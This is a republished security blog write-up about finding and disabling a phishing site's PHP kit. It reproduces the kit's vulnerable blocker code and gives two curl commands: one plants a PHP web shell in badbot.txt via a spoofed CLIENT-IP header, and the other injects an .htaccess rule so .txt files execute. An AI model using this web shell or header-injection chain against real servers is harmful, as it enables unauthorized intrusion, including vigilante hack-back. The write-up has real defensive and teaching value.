Hack-back: a tale of embarrassing phishing campaign

栏目: IT技术 · 发布时间: 4年前

内容简介:Today was a good day, I received a phishing email to byThe phishing mail was included a Bitly link (URL shortener). The nice thing about Bitly is that you can add a plus (+) character on the end of URL and it will show you how many people clicked the link

Today was a good day, I received a phishing email to by Protonmail address. I don’t have a copy of the email, as I reported it and later deleted it as spam. Thankfully, other security research took screenshots yesterday:

Phishing these days.. These kids don't even try anymore… Full source left on their phishing landing page. LULZ sry alvinwalker247 #reported $spam #phishing #protonmail #infosec pic.twitter.com/wkoKfrtp7Y — Bryan Smith (@d4rkm0de) January 13, 2020

Credits to @d4rkm0de

LOL so today someone sent me a phishing email to @ProtonMail address and I just accidentally took their phish server down. Source code was disclosed on hXXps://urielsilveira.com/pro/proto.zip Can you spot a vulnerability?— Kamil Vavra (@vavkamil) January 14, 2020

Figured I can do a write-up after the tweet

The phishing mail was included a Bitly link (URL shortener). The nice thing about Bitly is that you can add a plus (+) character on the end of URL and it will show you how many people clicked the link and what is the location of redirect:

Hack-back: a tale of embarrassing phishing campaign
https://bitly.com/2R1paP9+

More than 100 people clicked the link when I received the phishing email. I was a little bit bored, so I started poking around a little bit. I quickly found a directory listing with full source code:

Hack-back: a tale of embarrassing phishing campaign
Prevent this by adding “Options -Indexes” to .htaccess

The landing page was written in PHP, it was kinda a generic one, nothing unordinary, except a blocker.php file. It was a code to block security researchers and malware hunters based on IP ranges and user-agent strings. If any of the above matched, the IP was denied access in .htaccess and added to a file badbot.txt for a further investigation.

The fourth line got my attention, as it was very unique:

$ipa = $_SERVER['HTTP_CLIENT_IP']? $_SERVER['HTTP_CLIENT_IP'] : ($_SERVER['HTTP_X_FORWARDE‌​D_FOR'] ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'] );
$useragent = $_SERVER['HTTP_USER_AGENT'];

if(isset($_POST['gotcha'])){
     blockBot($ipa);
}

The thing in web security is, you should never trust user input. In this case, you can spoof both HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR headers.

If you called the blocker.php script with a POST request and gotcha parameter, the IP address was blocked:

function blockBot($ip){
$bot = 'deny from '.$ip;
$myfile = file_put_contents('.htaccess', PHP_EOL.$bot.PHP_EOL , FILE_APPEND | LOCK_EX);
header('HTTP/1.0 404 Not Found');
die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
}

If the user-agent matched any array value like InfoSec, Kaspersky, ... , the IP was added to badbot.txt :

foreach($bad as $zbal) {
    if(stripos($useragent,$zbal) !== false) {
        file_put_contents('badbot.txt', $ipa, FILE_APPEND | LOCK_EX);
        blockBot($ipa);
    }
}

So I quickly figured out that I can insert PHP shell to badbot.txt and force .htaccess to execute .txt files as PHP. The trick from the 2000s used to hack insecure PHP uploads

Inserting PHP web shell into badbot.txt (learned this one from Sucuri ):

curl $url/blocker.php -H "CLIENT-IP: <?php extract($_REQUEST);$a($b); ?> " -H "User-agent: InfoSec"

Forcing Apache to execute .txt as PHP via .htaccess:

curl $url/blocker.php -H "CLIENT-IP: \r\nAddType application/x-httpd-php .txt\r\n" -H "User-agent: google" --data "gotcha=1"

This can be a very nice CTF challenge, full source-code here: https://gist.github.com/vavkamil/b115ef829329f9fd3876c077e843641b

In the end, I was able to take down the phishing infrastructure in less than 30 minutes, and maybe saved someone from a compromise. Mess with the best, die like the rest!

Indicators of compromise (IoC):

  • urielsilveira[dot]com
  • keyword.tech.2017[at]gmail.com
  • alvinwalker247[at]gmail.com
Hack-back: a tale of embarrassing phishing campaign
Phishing out of service

以上所述就是小编给大家介绍的《Hack-back: a tale of embarrassing phishing campaign》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

An Introduction to the Analysis of Algorithms

An Introduction to the Analysis of Algorithms

Robert Sedgewick、Philippe Flajolet / Addison-Wesley Professional / 1995-12-10 / CAD 67.99

This book is a thorough overview of the primary techniques and models used in the mathematical analysis of algorithms. The first half of the book draws upon classical mathematical material from discre......一起来看看 《An Introduction to the Analysis of Algorithms》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

URL 编码/解码
URL 编码/解码

URL 编码/解码

html转js在线工具
html转js在线工具

html转js在线工具